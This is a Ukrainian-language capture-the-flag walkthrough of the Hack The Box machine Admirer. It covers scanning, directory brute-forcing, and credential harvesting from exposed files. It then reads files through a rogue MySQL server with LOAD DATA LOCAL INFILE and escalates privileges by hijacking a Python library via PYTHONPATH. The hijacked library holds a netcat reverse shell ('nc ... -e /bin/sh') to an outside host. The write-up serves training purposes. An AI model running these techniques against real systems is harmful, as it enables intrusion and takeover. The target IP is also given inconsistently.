
Шукаєте детальний гайд із проходження машини Admirer на платформі Hack The Box? У цій статті ми крок за кроком розглядаємо процес виявлення та використання вразливостей для досягнення віддаленого виконання коду (RCE). Hack The Box – це популярна платформа для навчання та практики в галузі кібербезпеки. Машина Admirer пропонує складний виклик, який потребує від дослідника навичок збору інформації, аналізу даних та експлуатації вразливостей.
Ця машина має IP адресу 10.10.10.189, яку додаємо в /etc/hosts.
10.10.10.187 admirer.htb
Насамперед виконується сканування відкритих портів. Щоб пришвидшити процес, замість використання nmap для перевірки всіх портів, сканування проводиться за допомогою masscan. Аналізуються всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A admirer.htb -p80,22,21
На основі результатів сканування nmap визначається подальший план дій. На сервері виявлено служби FTP і SSH, які потребують облікових даних, а також веб-сервер Apache. На веб-сервері доступний файл robots.txt, який містить єдиний запис — директорію admin-dir
. Через відсутність додаткової інформації наступним кроком є сканування директорій.
Для цього використовується швидкий інструмент gobuster. У параметрах вказується:
тип сканування — директорії (
dir
);
URL сайту (
-u
);
словник для сканування (
-w
);
потрібні розширення файлів (
-x
);
кількість потоків (
-t
).
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt
Знаходимо два файли: перший містить адреси електронної пошти, а другий — різні облікові дані.
І серед облікових даних знаходимо кредити для FTP. Підключаємося:
Розглянемо сервер.
Завантажуємо всі файли.
Є підозра, що цей архів є бекапом сайту, давайте розархівуємо і подивимося, що в ньому.
mkdir HTML mv html.tar.gz HTML/ cd HTML tar -xf html.tar.gz
Перший файл нічим не відрізняється від наявного, а ось серед облікових даних є ті, яких у нас немає.
Спроби їх використання не дають результату. Необхідно пошукати рядки user і pass у всіх завантажених файлах.
grep -R -i "user\|pass" ./
Виявлено ще два паролі для одного користувача. Зібрано всі доступні облікові дані.
Але вони нікуди не підійшли.
При спробі виконати невирішені на сайті завдання отримаємо відмову.
Так як всі файли, що виконуються, розташовані в директорії utility-scripts, давайте проскануємо її на хості, причому шукати буде файли php.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php
Знаходимо файл admirer.php.
Пошукавши інформацію, з наступних джерел стало зрозуміло, як отримати RCE. Якщо вказати як сервер свій хост, то можна побачити спробу підключення.
Запустимо на локальному хості службу myqsl.
sudo service mysql start sudo mysql -u root
І створимо користувача для авторизації.
create user ralfadmirer@'%' identified by 'ralfadmirer' create database admirerdb; grant all privileges on admirerdb.* to 'ralfadmirer';
Файл конфігурації /etc/mysql/mariadb.conf.d/50-server.cnf
змінюється для надання доступу до хоста. Для цього закоментовується рядок bind-address
, після чого служба перезапускається.
sudo service mysql restart
Авторизуємося від імені щойно створеного користувача.
Обираємо нашу базу даних.
Далі створимо таблицю.
І виконаємо SQL запит, щоб прочитати файл index.php, де ми можемо знайти облікові дані (як це було в бекапі).
load data local infile '../index.php' into table admirerdb.admirertable fields terminated by '\n'
Тепер перейдемо до нашої створеної таблиці.
І знайдемо облікові дані.
За допомогою цього пароля успішно виконано авторизацію через SSH.
Перевіряємо налаштування sudo.
Таким чином, цей скрипт можна виконати від імені суперкористувача. Під час його аналізу виявлено виклик Python-скрипта, який також виконується з привілеями sudo.
І в самому скрипті вказано неявний імпорт.
Перевіряються змінні оточення, зокрема шляхи до Python.
def make_archive(): import os os.system('nc 10.10.15.110 4321 -e "/bin/sh"') make_archive()
Виконаємо скрипт.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh
Отримуємо бекконект шелл.
У статті детально описано процес експлуатації вразливостей на машині Hack The Box Admirer. Використовуючи послідовний підхід — від сканування портів і пошуку прихованих директорій до аналізу скриптів і маніпуляцій зі змінними оточення — вдалося отримати повний контроль над системою. Цей досвід демонструє важливість уважного вивчення конфігурацій і роботи з правами доступу у сфері кібербезпеки.